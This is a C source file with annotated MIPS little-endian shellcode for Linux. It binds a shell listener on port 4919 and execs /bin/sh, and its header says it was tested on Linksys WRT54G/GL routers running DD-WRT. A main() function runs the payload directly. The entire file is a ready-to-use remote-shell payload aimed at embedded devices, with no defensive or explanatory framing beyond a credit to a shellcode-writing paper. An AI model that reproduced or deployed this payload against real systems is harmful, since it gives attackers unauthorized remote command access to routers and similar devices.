/*	- MIPS little-endian 
 *	- linux port listener 276 bytes shellcode 
 *	- execve("/bin/sh",["/bin/sh"],[]);
 *	- port 0x1337 (4919)
 *	- tested on Linksys WRT54G/GL (DD-WRT Linux)
 *      - based on scut paper Writing MIPS/Irix shellcode
 *
 * 				vaicebine at gmail dot com
 */
#include <stdio.h>

char port_bind_shellcode[] = 
	"\xe0\xff\xbd\x27"	/*     addiu   sp,sp,-32                */
	"\xfd\xff\x0e\x24"	/*     li      t6,-3                    */
	"\x27\x20\xc0\x01"	/*     nor     a0,t6,zero               */
	"\x27\x28\xc0\x01"	/*     nor     a1,t6,zero               */
	"\xff\xff\x06\x28"	/*     slti    a2,zero,-1               */	
	"\x57\x10\x02\x24"	/*     li      v0,4183 ( __NR_socket )  */
	"\x0c\x01\x01\x01"	/*     syscall                          */
	"\x50\x73\x0f\x24"	/*     li      t7,0x7350 (nop)          */
	"\xff\xff\x50\x30"	/*     andi    s0,v0,0xffff             */	
	"\xef\xff\x0e\x24"	/*     li      t6,-17                   */
	"\x27\x70\xc0\x01"	/*     nor     t6,t6,zero               */
	"\x13\x37\x0d\x24"	/*     li      t5,0x3713 (port 0x1337)  */
	"\x04\x68\xcd\x01"	/*     sllv    t5,t5,t6                 */
	"\xff\xfd\x0e\x24"	/*     li      t6,-513                  */
	"\x27\x70\xc0\x01"	/*     nor     t6,t6,zero               */
	"\x25\x68\xae\x01"	/*     or      t5,t5,t6                 */
	"\xe0\xff\xad\xaf"	/*     sw      t5,-32(sp)               */
	"\xe4\xff\xa0\xaf"	/*     sw      zero,-28(sp)             */	
	"\xe8\xff\xa0\xaf"	/*     sw      zero,-24(sp)             */
	"\xec\xff\xa0\xaf"	/*     sw      zero,-20(sp)             */
	"\x25\x20\x10\x02"	/*     or      a0,s0,s0                 */
	"\xef\xff\x0e\x24"	/*     li      t6,-17                   */
	"\x27\x30\xc0\x01"	/*     nor     a2,t6,zero               */
	"\xe0\xff\xa5\x23"	/*     addi    a1,sp,-32                */
	"\x49\x10\x02\x24"	/*     li      v0,4169 ( __NR_bind )    */
	"\x0c\x01\x01\x01"	/*     syscall                          */
	"\x50\x73\x0f\x24"	/*     li      t7,0x7350 (nop)          */
	"\x25\x20\x10\x02"	/*     or      a0,s0,s0                 */
	"\x01\x01\x05\x24"	/*     li      a1,257                   */
	"\x4e\x10\x02\x24"	/*     li      v0,4174 ( __NR_listen )  */	
	"\x0c\x01\x01\x01"	/*     syscall                          */
	"\x50\x73\x0f\x24"	/*     li      t7,0x7350 (nop)          */
	"\x25\x20\x10\x02"	/*     or      a0,s0,s0                 */
	"\xff\xff\x05\x28"	/*     slti    a1,zero,-1               */
	"\xff\xff\x06\x28"	/*     slti    a2,zero,-1               */
	"\x48\x10\x02\x24"	/*     li      v0,4168 ( __NR_accept )  */
	"\x0c\x01\x01\x01"	/*     syscall                          */
	"\x50\x73\x0f\x24"	/*     li      t7,0x7350 (nop)          */
	"\xff\xff\x50\x30"	/*     andi    s0,v0,0xffff             */	
	"\x25\x20\x10\x02"	/*     or      a0,s0,s0                 */
	"\xfd\xff\x0f\x24"	/*     li      t7,-3                    */
	"\x27\x28\xe0\x01"	/*     nor     a1,t7,zero               */
	"\xdf\x0f\x02\x24"	/*     li      v0,4063 ( __NR_dup2 )    */
	"\x0c\x01\x01\x01"	/*     syscall                          */
	"\x50\x73\x0f\x24"	/*     li      t7,0x7350 (nop)          */
	"\x25\x20\x10\x02"	/*     or      a0,s0,s0                 */
	"\x01\x01\x05\x28"	/*     slti    a1,zero,0x0101           */
	"\xdf\x0f\x02\x24"	/*     li      v0,4063 ( __NR_dup2 )    */
	"\x0c\x01\x01\x01"	/*     syscall                          */
	"\x50\x73\x0f\x24"	/*     li      t7,0x7350 (nop)          */
	"\x25\x20\x10\x02"	/*     or      a0,s0,s0                 */
	"\xff\xff\x05\x28"	/*     slti    a1,zero,-1               */	
	"\xdf\x0f\x02\x24"	/*     li      v0,4063 ( __NR_dup2 )    */
	"\x0c\x01\x01\x01"	/*     syscall                          */
	"\x50\x73\x0f\x24"	/*     li      t7,0x7350 (nop)          */
	"\x50\x73\x06\x24"	/*     li      a2,0x7350                */
	"\xff\xff\xd0\x04"	/* LB: bltzal  a2,LB                    */
	"\x50\x73\x0f\x24"	/*     li      t7,0x7350 (nop)          */
	"\xff\xff\x06\x28"	/*     slti    a2,zero,-1               */
	"\xdb\xff\x0f\x24"	/*     li      t7,-37                   */
	"\x27\x78\xe0\x01"	/*     nor     t7,t7,zero               */
	"\x21\x20\xef\x03"	/*     addu    a0,ra,t7                 */
	"\xf0\xff\xa4\xaf"	/*     sw      a0,-16(sp)               */
	"\xf4\xff\xa0\xaf"	/*     sw      zero,-12(sp)             */
	"\xf0\xff\xa5\x23"	/*     addi    a1,sp,-16                */
	"\xab\x0f\x02\x24"	/*     li      v0,4011 ( __NR_execve )  */
	"\x0c\x01\x01\x01"	/*     syscall                          */
	"/bin/sh";

int main()
{
    void (*p)(void);
    p = port_bind_shellcode;
    printf("shellcode size %d\n", sizeof(port_bind_shellcode));
    p();

    return 0;
}